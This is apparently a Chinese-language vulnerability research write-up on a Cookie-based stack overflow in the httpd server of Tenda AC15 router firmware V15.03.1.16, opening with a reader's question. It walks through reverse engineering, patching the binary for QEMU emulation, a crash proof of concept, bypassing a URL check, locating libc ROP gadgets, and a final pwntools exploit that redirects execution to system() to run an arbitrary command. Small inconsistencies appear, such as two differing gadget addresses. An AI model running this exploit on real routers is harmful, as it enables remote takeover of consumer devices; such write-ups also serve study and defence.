您好,固件模拟成功后无法访问[http://%s/goform/execCommand]
我使用的固件是在tenda官网下载的US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip,在固件根目录下没有找到exeCommand相关文件,请问可以将您的固件分享一下吗
漏洞分析
官网上即可获取下载含漏洞版本固件V15.03.1.16,使用binwalk
解压,可在目录bin\
目录下找到httpd
程序,使用IDA
打开httpd
程序。
根据在IDA
中看到的websUrlHandlerDefine
等函数,可以判定程序使用的是GoAhead
框架,另外在字符串中找到了2.1.8
,可以进一步确定程序使用的框架是GoAhead 2.1.8
。在github可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.
漏洞点位于R7WebsSecurityHandler
中,为了更清楚的查看此处代码,我们根据GoAhead
针对此处的一些结构体进行声明,并针对一些变量的名称进行一些修改。
小技巧 : IDA中导入C语言声明的结构体.在View-->Open Subviews-->Local Types中可以看到本地已有的结构体,在该窗口中右击insert.可以添加C语言声明的结构体
本程序的分析,添加了以下两个结构体:
struct ringq_t{
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
}
struct websRec {
ringq_t header; /* Header dynamic string */
__time_t since; /* Parsed if-modified-since time */
char* cgiVars; /* CGI standard variables */
char* cgiQuery; /* CGI decoded query string */
__time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char ipaddr[32]; /* Connecting ipaddress */
char type[64]; /* Mime type */
char *dir; /* Directory containing the page */
char *path; /* Path name without query */
char *url; /* Full request url */
char *host; /* Requested host */
char *lpath; /* Cache local path name */
char *query; /* Request query */
char *decodedQuery; /* Decoded request query */
char *authType; /* Authorization type (Basic/DAA) */
char *password; /* Authorization password */
char *userName; /* Authorization username */
char *cookie; /* Cookie string */
char *userAgent; /* User agent (browser) */
char *protocol; /* Protocol (normally HTTP) */
char *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
}
简单修改完毕,查看漏洞点:
在sscanf
时,cookie
长度没有进行限制,因此造成栈溢出.
为了抵达此处,还需满足前边的一些条件:
即url
值不能为空,不能为\
,长度不能是1,且不能是以上字符
满足以上条件进入if
后,url
还不能是index.html
.
因此可构造以下数据包触发崩溃:
GET /goform/execCommand HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: password=“A”*501
仿真模拟
复制qemu-arm-static
到解压后的固件目录下,尝试用qemu
运行httpd
程序:
$ sudo chroot . ./qemu-arm-static ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
发现卡顿到此处,在IDA
中定位这个字符串:
推测可能是check_network()
这个函数没有通过卡死在这里了.但仔细看了以下,这个函数并没有返回什么关键信息,只是一个简单检查,因此可以直接patch
掉.
另外,继续向下运行还会遇到一个检查函数ConnectCfm
,也直接patch
掉即可,patch
完的效果如图:
patch
完再进行模拟:
$ sudo chroot . ./qemu-arm-static ./httpd
[sudo] password for island:
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80
根据提示信息推测应该是没有获取到真正的本机ip
,通过httpd listen
定位:
经过回溯,发现这个ip
来自于g_lan_ip
这个全局变量,而这个全局变量来自于以下部分:
大概的流程就是去寻找br0
这个网络接口的IP
,并在这个ip
进行监听.但是我本机目前没有br0
这个网络接口,所以获取的ip
地址不对,为了解决这个问题其实可以有两个思路来做:
- 对源程序进行
patch
,将br0
这个接口更改为本机的ens160
这个网卡 - 或者在本机新建一个桥接网卡
br0
两个思路应该都是可行的,为了方便我采用第二个方法,因为这一步骤我们在之前配置环境的时候做过了,具体可参考这个链接
在配置好br0
网卡后再进行仿真:
$ sudo chroot . ./qemu-arm-static ./httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
可以看到,此时模拟已经成功模拟起来了.
写一个简单的poc
测试:
import requests
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+"A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text
运行poc
,可以看到崩溃:
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
Unsupported setsockopt level=1 optname=13
connect: No such file or directory
Connect to server failed.
[1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd
漏洞利用
使用以下命令模拟httpd
程序并尝试进入调试模式:
$ sudo chroot . ./qemu-arm-static -g 1234 ./httpd
使用pwndbg
尝试调试上面的poc
:
发现崩溃点在0x6623954
,尝试bt
寻找调用路径,最后发现是在R7WebsSecurityHandler
这个函数的此处:
如果流程跑到这里继续执行的话可能无法控制pc
值进而无法控制函数流,因此考虑能否绕过不执行这里,很幸运,我们找到了这里:
如果这个if
不满足,则不会跳转到sub_2c568
.这里是检验url
里是否包含一些特征字符,如果包含则不用进入下面if
流程直接return
.但是直接在url
中包含这几个特征字符串是不行的,因为此时的url
在我们栈溢出的时候已经被覆盖掉了,因此还是要在cookie
中进行修改
poc
简单更改来绕过这个限制:
from pwn import *
import requests ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(500)+".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url,cookies=cookie)
print ret.text
再次进行调试:
发现已经可以控制PC
值了,并计算出偏移为444.
偏移已知,pc
也可控,下面可以进行rop
了
httpd
里找不到好的gadget
,直接去libc
里面找:
$ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
....
0x00040cb8 : mov r0, sp ; blx r3
....
此时如果将r3
赋值为system
的地址,将要执行的命令放在栈上,就可以执行任意命令了,因此再找一条控制r3
的gadget
:
$ ROPgadget --binary ./lib/libc.so.0 --only "pop"
....
0x00018298 : pop {r3, pc}
....
因此payload
按如下输入即可:
cyclic(444) + p32(libc_base_addr + 0x00019298) + p32(system_addr) + p32(libc_base_addr + 0x00040cb8) + "touch ./abcd"
为了知道system
地址,还需要去查一下libc
基地址:
最后进行一下调试:
发现已经跑去执行system("touch ./abcd")
了,但是可能因为我使用的是qemu-user
模拟,所以没有成功创建这个文件.
最终的exp
:
from pwn import *
import requests
context.binary = "./httpd"
context.log_level = "debug"
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr= libc_base_addr + system_offset
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(444) + ".gif" + flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8)+ "touch ./abcd" }
ret = requests.get(url=url,cookies=cookie)
print ret.text